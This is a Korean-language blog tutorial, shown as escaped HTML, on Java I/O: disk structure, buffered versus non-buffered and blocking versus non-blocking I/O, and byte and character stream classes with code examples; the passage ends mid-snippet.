&lt;p data-ke-size=&quot;size16&quot;&gt;Java의 I/O(Input/Output) 기능은 운영체제를 통해 하드웨어 자원에 접근하며, 주로 파일, 네트워크, 콘솔 등의 입출력 작업을 수행하는 데 사용되며 가장 기본적인 파일에 관해 하드디스크부터 천천히 알아보겠습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;하드디스크(HDD)의 논리적 구조&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하드디스크는 회전하는 원형 디스크(platter)와 이를 읽고 쓰는 기계적 팔(arm)으로 구성되어 있으며 플래터는 여러 개의 트랙(track)과 섹터(sector)로 나뉘어서 데이터를 저장할 수 있는 논리적 단위를 형성합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;트랙(Track): 디스크의 중심에서 바깥 방향으로 동심원 형태로 번호가 매겨집니다 (0, 1, 2, ...)&lt;/li&gt;
&lt;li&gt;섹터(Sector): 각 트랙을 나누는 조각이며, 시계 방향으로 번호가 붙습니다. (0, 1, 2, ...)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 파일이 저장된다는 것은 &quot;몇 번 트랙의 몇 번 섹터에 데이터가 저장되어 있다&quot;는 의미입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 파일은 디스크 내 연속된 공간에 저장되지 않을 수 있기 때문에&amp;nbsp;조각난 형태로 저장될 수 있으며 이를 단편화(fragmentation)라고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옛날에 컴퓨터가 느려지면 자주 사용되던 &quot;디스크 조각 모음(Defragmentation)&quot;은 이러한 단편화된 데이터를 연속된 공간으로 재배치하여 I/O 성능을 향상하기 위한 작업이었습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Disk 파일 저장 방식&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Disk에 데이터를 저장할 때는 OS가 File System을 통해 파일을 관리하며 이 과정에서 데이터는 블록 단위로 Disk에 기록됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 파일은 처음 생성되면 크기가 0이며, 이후 데이터를 추가하면 그에 따라 파일의 크기가 증가합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기본적으로 append 방식으로 데이터를 저장합니다.&lt;/li&gt;
&lt;li&gt;offset을 지정하게 되면 특정 위치의 데이터를 덮어쓰는 것도 가능합니다.&lt;/li&gt;
&lt;li&gt;Java에서는 RandomAccessFile, FileChannel은 offset을 활용해서 덮어쓰기 가능합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Buffered I/O vs Non-Buffered I/O&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java I/O의 성능을 결정짓는 중요한 요소 중 하나는 버퍼링(buffering)입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공통적인 작동 흐름을 먼저 알아보겠습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Process(JVM)이 OS에 &quot;어떠한 파일을 쓰겠다&quot;라고 요청합니다.&lt;/li&gt;
&lt;li&gt;OS는 해당 요청을 File System에 전달합니다.&lt;/li&gt;
&lt;li&gt;File System은 Driver에 전달합니다.&lt;/li&gt;
&lt;li&gt;Driver가 실제 디스크에 쓰기 작업을 시작합니다.&lt;/li&gt;
&lt;li&gt;작업 완료 후 OS &amp;gt; Process에게 알려줍니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 일반적으로 커널 스레드가 파일을 읽거나 쓰기 위해 디스크 I/O를 요청하면 디스크는 CPU보다 속도가 느리기 때문에 해당 커널 스레드는 Blocked 상태로 전환됩니다.&lt;br /&gt;이후 디스크 작업이 완료되면 디스크는 인터럽트(interrupt)를 통해 CPU에게 완료를 알리고 커널은 해당 스레드를 Runnable 상태로 되돌려 스케줄링할 수 있도록 합니다.&lt;br /&gt;이러한 방식으로 인해 Java의 전통적인 파일 I/O는 본질적으로 Blocking I/O로 분류됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Buffered I/O&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 임시 메모리 공간을 만들어서 입출력 작업의 효율을 높일 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS에 요청하기 전 데이터를 모아서 한 번에 OS에 요청하게 됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디스크 접근 횟수를 줄일 수 있기 때문에 CPU Wait Time도 줄어듭니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Non-Buffered I/O&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 단위 단위로 OS에 요청을 하게 됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디스크 접근 횟수가 늘어나기 때문에 CPU Wait Time이 늘어날 수 있습니다.&lt;/li&gt;
&lt;li&gt;하지만 특정 상황(게임)에서는 성능을 포기하더라도 즉각적인 저장을 위해 사용하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Blocking I/O 와 Non-Blocking I/O에 대한 고찰&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Buffered I/O 관련하여 알아본 바에 따르면 기본적으로 Blocking I/O를 사용한다는 걸 알 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제를 좀 더 효율적으로 풀기 위한 선택지는 멀티 스레드와 Non-Blocking I/O입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;멀티 스레드&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스레드를 나눠서 하나는 CPU Wait Time과 상관없이 작동하게 하고 다른 스레드가 Blocking I/O를 수행하면 효율적이지 않을까 생각할 수 있지만 이는 컨텍스트 스위칭 비용이 발생하게 됩니다.&lt;/p&gt;
&lt;figure id=&quot;og_1748396967037&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;JAVA의 컨텍스트 스위칭이 비싼 이유?&quot; data-og-description=&quot;공부를 하다 보면 &amp;quot;Java의 컨텍스트 스위칭 비용이 비싸다&amp;quot;라는 말을 자주 듣곤 하는데 이번 글에서는 왜 Java의 컨텍스트 스위칭 비용이 비싼지 정리해보았습니다.JAVA의 Thread 구조Java에서는 java.la&quot; data-og-host=&quot;jangto.tistory.com&quot; data-og-source-url=&quot;https://jangto.tistory.com/entry/JAVA%EC%9D%98-%EC%BB%A8%ED%85%8D%EC%8A%A4%ED%8A%B8-%EC%8A%A4%EC%9C%84%EC%B9%AD%EC%9D%B4-%EB%B9%84%EC%8B%BC-%EC%9D%B4%EC%9C%A0&quot; data-og-url=&quot;https://jangto.tistory.com/entry/JAVA%EC%9D%98-%EC%BB%A8%ED%85%8D%EC%8A%A4%ED%8A%B8-%EC%8A%A4%EC%9C%84%EC%B9%AD%EC%9D%B4-%EB%B9%84%EC%8B%BC-%EC%9D%B4%EC%9C%A0&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b85ppA/hyYYzCYRFS/SQOtuDfgrQythWj40uyyKK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/bo8LAW/hyYYyKOYPi/u50mPjYqjiKgkkaqFOdWpk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800&quot;&gt;&lt;a href=&quot;https://jangto.tistory.com/entry/JAVA%EC%9D%98-%EC%BB%A8%ED%85%8D%EC%8A%A4%ED%8A%B8-%EC%8A%A4%EC%9C%84%EC%B9%AD%EC%9D%B4-%EB%B9%84%EC%8B%BC-%EC%9D%B4%EC%9C%A0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://jangto.tistory.com/entry/JAVA%EC%9D%98-%EC%BB%A8%ED%85%8D%EC%8A%A4%ED%8A%B8-%EC%8A%A4%EC%9C%84%EC%B9%AD%EC%9D%B4-%EB%B9%84%EC%8B%BC-%EC%9D%B4%EC%9C%A0&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b85ppA/hyYYzCYRFS/SQOtuDfgrQythWj40uyyKK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/bo8LAW/hyYYyKOYPi/u50mPjYqjiKgkkaqFOdWpk/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;JAVA의 컨텍스트 스위칭이 비싼 이유?&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;공부를 하다 보면 &quot;Java의 컨텍스트 스위칭 비용이 비싸다&quot;라는 말을 자주 듣곤 하는데 이번 글에서는 왜 Java의 컨텍스트 스위칭 비용이 비싼지 정리해보았습니다.JAVA의 Thread 구조Java에서는 java.la&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;jangto.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Non-Blocking I/O&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;흐름을 보면 Process(JVM)은 하드웨어를 직접 제어할 수 없기 때문에 OS에 요청하는 것을 알 수 있는데 OS 차원에서 Non-Blocking 모드를 제공하기 때문에 컨텍스트 스위칭 없이 가능합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;성공 여부 및 시점을 알 수 없기 때문에 로직이 복잡해질 수 있습니다.&lt;/li&gt;
&lt;li&gt;콜백(callback) 또는 Future/Promise 패턴 등을 통해 비동기적으로 결과를 처리해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 더 자세히 Non-Blocking I/O가 빠른 이유에 대해 알아보겠습니다.&lt;/p&gt;
&lt;p data-pm-slice=&quot;1 1 []&quot; data-ke-size=&quot;size16&quot;&gt;유저 스레드 A가 파일을 읽거나 쓰려고 하면 OS에 요청 후 커널 모드로 전환되고 관심 있는 I/O 이벤트를 Selector에 등록한 뒤 즉시 반환됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 Selector 스레드가 이벤트 발생 여부를 감지하고 데이터가 커널 버퍼에 준비되면 유저 스레드 A에게 I/O 가능 여부를 알려주게 되고&amp;nbsp;유저 스레드 A는 다시 read()를 호출하여 커널 모드로 전환되며 커널이 커널 버퍼의 데이터를 유저 공간으로 복사하여 전달합니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;주요 Stream 클래스 소개&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. Buffered Stream&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Buffered Stream은 데코레이터 패턴을 기반으로 성능 향상을 위해 내부 버퍼를 제공하는 기능을 하는 래퍼 클래스입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 FileInputStream만 사용하여 read() 메서드로 1바이트씩 반복적으로 파일을 읽으면 각 read() 호출이 System Call로 이어지게 되는데 이렇게 잦은 Sytem Call은 OS와의 반복적인 통신을 유발하고 각 호출마다 발생하는 컨텍스트 스위칭(cpu가 Disk에게 읽도록 시키고 wait이 되는 그 잠깐이지만 cpu를 놀게 둘 수 없기 때문에 다른 스레드로 바꾸기 때문에 발생합니다.) 등의 오버헤드로 인해 애플리케이션 성능이 저하됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;33:5-33:196&quot; data-ke-size=&quot;size16&quot;&gt;이러한 문제를 해결하기 위해 BufferedInputStream으로 FileInputStream을 감싸주면, BufferedInputStream은 자신의 내부 버퍼(기본 8KB) 크기만큼 OS로부터 (FileInputStream을 통해) 데이터를 한 번에 읽어오기 때문에 Systen Call 횟수가 크게 줄어들어 성능이 향상됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예시) BufferedInputStream, BufferedOutputStream&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748418873964&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;BufferedInputStream bis = new BufferedInputStream(new FileInputStream(filePath));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bis.read()는 내부적으로 한 번에 8192바이트(기본값)를 읽지만 read()는 그중에 1byte를 읽어가게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 대량 처리 시 버퍼 배열을 명시적으로 지정해 줘야 FileInputStream이 OS로부터 받은 데이터(읽을 수 있는 데이터는 BufferedInputStream의 내부 버퍼에 있습니다.)를 한 번에 읽을 수 있기 때문에 성능이 좋아집니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748418953407&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;byte[] buffer = new byte[8192];
int bytesRead = bis.read(buffer);&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. Byte Stream&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Byte Stream은 이름 그대로 모든 종류의 데이터를 byte 단위로 처리합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;텍스트, 이미지, 오디오, 비디오, 실행 파일까지 모든 것을 byte 데이터로 저장되고 처리되기 때문에 해당 Stream은 데이터를 직접 다룰 때 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래에서 Byte Stream에서 가장 흔하게 사용되는 FileInputStream 예시를 살펴보겠습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;버퍼 없이 파일 읽기 (비효율)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 이미지 파일을 버퍼링 없이 1바이트씩 읽어 화면에 (문자로 변환하여) 출력하는 말도 안 되는 예시이지만 각 바이트를 읽을 때마다 시스템 콜이 발생할 수 있는 비효율적인 예시를 위해 작성하였습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748425863429&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public void nonBufferedFileRead() {
    String filePath = &quot;/Users/janghyeonseong/Desktop/D5IfBZbUYAAXd75.jpg&quot;; 

    try (FileInputStream fis = new FileInputStream(filePath)) {
        int byteRead;
        while ((byteRead = fis.read()) != -1) {
            System.out.print((char) byteRead);
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;버퍼를 사용해서 파일 읽기 (1차 개선)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BufferedInputStream을 사용하면 내부 버퍼를 통해 한 번에 많은 양의 데이터를 미리 읽어오므로 실제 System Call 횟수를 줄여 성능을 크게 향상할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748426004437&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public void bufferedFileRead() {
    String filePath = &quot;/Users/janghyeonseong/Desktop/D5IfBZbUYAAXd75.jpg&quot;;

    try (FileInputStream fis = new FileInputStream(filePath);
         BufferedInputStream bis = new BufferedInputStream(fis)) {
        
        int byteRead;
        while ((byteRead = bis.read()) != -1) { 
            System.out.print((char) byteRead);
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;버퍼를 사용하여 파일 복사 (2차 개선)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일을 복사할 때는 입력과 출력 모두에 버퍼 스트림을 사용하고 추가로 byte []를 사용하여 한 번에 JVM 메모리에 이쓴 byte를 한 번에 읽고 쓰는 것이 효율적입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748426233009&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public void bufferedFileCopy() {
    String sourceFilePath = &quot;/Users/janghyeonseong/Desktop/D5IfBZbUYAAXd75.jpg&quot;; 
    String destinationFilePath = &quot;/Users/janghyeonseong/Desktop/copy.jpg&quot;;   

    try (FileInputStream fis = new FileInputStream(sourceFilePath);
         BufferedInputStream bis = new BufferedInputStream(fis); 
         
         FileOutputStream fos = new FileOutputStream(destinationFilePath);
         BufferedOutputStream bos = new BufferedOutputStream(fos)) { 
        
        byte[] buffer = new byte[8192]; 
        int bytesRead; 

        while ((bytesRead = bis.read(buffer)) != -1) {
            bos.write(buffer, 0, bytesRead);
        }
        
        System.out.println(&quot;이미지 파일 복사 완료!&quot;);
    } catch (IOException e) {
        e.printStackTrace();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;메모리 기반 Byte Stream (ByteArrayInputStream)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로 JVM 내부에서 데이터를 임시로 저장하고 읽는 데 활용되며 이러한 메모리 기반 스트림은 이미 데이터가 메모리에 있으므로 디스크 I/O와 같은 외부 장치 접근이 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 BufferedInputStream 등으로 감싸도 성능 향상 효과는 거의 없으며 오히려 추가적인 버퍼 복사로 약간의 오버헤드가 발생할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748426389306&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;byte[] buffer = new byte[10];
Random rnd = new Random();
&amp;nbsp;
for (int i = 0; i &amp;lt; buffer.length; i++) {
    buffer[i] = (byte) rnd.nextInt();
}
&amp;nbsp;
ByteArrayInputStream b = new ByteArrayInputStream(buffer);
&amp;nbsp;
System.out.println(&quot;모든 요소 보기 :&quot;);
&amp;nbsp;
int num;
while ((num = b.read()) != -1) {
    System.out.print(num + &quot; &quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;메모리 기반 Byte Stream (SequenceInputStream)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SequenceInputStream은 여러 개의 InputStream을 연결하여 하나의 InputStream처럼 다룰 수 있게 해 줍니다.&lt;/p&gt;
&lt;pre id=&quot;code_1748426430328&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;byte[] arr1 = {0, 1, 2};
byte[] arr2 = {3, 4, 5};
byte[] arr3 = {6, 7, 8};
byte[] outSrc = null;

List&amp;lt;ByteArrayInputStream&amp;gt; streamList = List.of(new ByteArrayInputStream(arr1), new ByteArrayInputStream(arr2), new ByteArrayInputStream(arr3));

Enumeration&amp;lt;ByteArrayInputStream&amp;gt; e = Collections.enumeration(streamList);

try(SequenceInputStream input = new SequenceInputStream(e);
    ByteArrayOutputStream output = new ByteArrayOutputStream()) {
    
    byte[] buffer = new byte[1024];
    int data;
    while((data = input.read(buffer)) != -1) {
        output.write(buffer, 0, data);
    }

    outSrc = output.toByteArray();

} catch(IOException ex) {
    ex.printStackTrace();
}

System.out.println(&quot;여러개 합쳐진 결과 : &quot; + Arrays.toString(outSrc));&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. Character Stream&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;텍스트 데이터를 처리하는 데 특화되어 있으며 1byte가 아닌 문자(char) 단위로 데이터를 읽고 씁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java에서 char는 2byte 유니코드(UTF-16)를 사용하기 때문에 byte stream과 달리 인코딩(Encoding)을 고려해야 하기 때문에 데이터를 읽거나 쓸 때 어떤 문자 인코딩(예: UTF-8, EUC-KR)을 사용할지 지정할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로&amp;nbsp;텍스트&amp;nbsp;파일,&amp;nbsp;네트워크를&amp;nbsp;통한&amp;nbsp;문자열&amp;nbsp;전송,&amp;nbsp;콘솔&amp;nbsp;입출력&amp;nbsp;등&amp;nbsp;문자&amp;nbsp;기반의&amp;nbsp;데이터를&amp;nbsp;다룰&amp;nbsp;때&amp;nbsp;사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 클래스 알아보기&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Reader : 문자 입력 스트림의 추상 클래스 ( 최상위 )
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FileReader : 파일에서 문자 데이터를 읽습니다.&lt;/li&gt;
&lt;li&gt;BufferedReader : 버퍼링 기능 제공하여 성능을 향상합니다.&lt;/li&gt;
&lt;li&gt;InputStreamReader : Byte Stream을 문자 Stream으로 변환합니다. (Encoding 지정 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Writer : 문자 출력 스트림의 추상 클래스 ( 최상위 )
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FileWriter : 파일에 문자 데이터를 쓸 때 사용합니다.&lt;/li&gt;
&lt;li&gt;BufferedWriter : 버퍼링 기능 제공하여 성능을 향상합니다.&lt;/li&gt;
&lt;li&gt;OutputStreamWriter : 문자 Stream을 Byte Stream으로 변환합니다. (Encoding 지정 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1748524922105&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[Java] 인코딩 디코딩 다시 이해하기&quot; data-og-description=&quot;컴퓨터는 오직 0 or 1 즉 바이트(byte)를 처리할 수 있고 사람이 알아보는 문자는 char 또는 String입니다. 쉽게 말하면 인코딩은 문자를 바이트로 디코딩은 바이트를 문자로 바꾸는 작업입니다.간단&quot; data-og-host=&quot;jangto.tistory.com&quot; data-og-source-url=&quot;https://jangto.tistory.com/entry/Java-%EC%9D%B8%EC%BD%94%EB%94%A9-%EB%94%94%EC%BD%94%EB%94%A9-%EB%8B%A4%EC%8B%9C-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0&quot; data-og-url=&quot;https://jangto.tistory.com/entry/Java-%EC%9D%B8%EC%BD%94%EB%94%A9-%EB%94%94%EC%BD%94%EB%94%A9-%EB%8B%A4%EC%8B%9C-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/7qHKg/hyY0uAIVlw/eD3sjAJBlKQYpwxn8C7ZzK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/3JoUl/hyYYGbfGvU/vOJxBak5xdya7F4tLCYUZ1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800&quot;&gt;&lt;a href=&quot;https://jangto.tistory.com/entry/Java-%EC%9D%B8%EC%BD%94%EB%94%A9-%EB%94%94%EC%BD%94%EB%94%A9-%EB%8B%A4%EC%8B%9C-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://jangto.tistory.com/entry/Java-%EC%9D%B8%EC%BD%94%EB%94%A9-%EB%94%94%EC%BD%94%EB%94%A9-%EB%8B%A4%EC%8B%9C-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/7qHKg/hyY0uAIVlw/eD3sjAJBlKQYpwxn8C7ZzK/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/3JoUl/hyYYGbfGvU/vOJxBak5xdya7F4tLCYUZ1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[Java] 인코딩 디코딩 다시 이해하기&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;컴퓨터는 오직 0 or 1 즉 바이트(byte)를 처리할 수 있고 사람이 알아보는 문자는 char 또는 String입니다. 쉽게 말하면 인코딩은 문자를 바이트로 디코딩은 바이트를 문자로 바꾸는 작업입니다.간단&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;jangto.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;FileReader 예시&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FileReader는 &lt;span&gt;시스템의 기본 문자 인코딩을 사용하여 파일을 읽습니다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;더 효율적인 입출력을 위해 &lt;/span&gt;&lt;span&gt;BufferedReader&lt;/span&gt;&lt;span&gt;로 감싸서 사용합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748524746929&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;String filePath = &quot;/Users/janghyeonseong/Desktop/test.txt&quot;;

try (FileReader fileReader = new FileReader(filePath);
     BufferedReader bufferedReader = new BufferedReader(fileReader)) {
        
    String line;
    System.out.println(&quot;--- 파일 내용 시작 ---&quot;);
    while ((line = bufferedReader.readLine()) != null) {
        System.out.println(line);
    }
    System.out.println(&quot;--- 파일 내용 끝 ---&quot;);
} catch (IOException e) {
    e.printStackTrace();
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;FileWriter 예시&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FileWriter는 시스템의 기본 문자 인코딩을 사용하여 파일에 씁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BufferedWriter로&lt;span&gt; 감싸서 쓰기 성능을 향상할 수 있습니다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;newLine() &lt;/span&gt;&lt;span&gt;메서드로 플랫폼에 맞는 줄 바꿈을 쉽게 추가할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748524877852&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;String filePath = &quot;/Users/janghyeonseong/Desktop/newtest.txt&quot;; 

try (FileWriter fileWriter = new FileWriter(filePath);
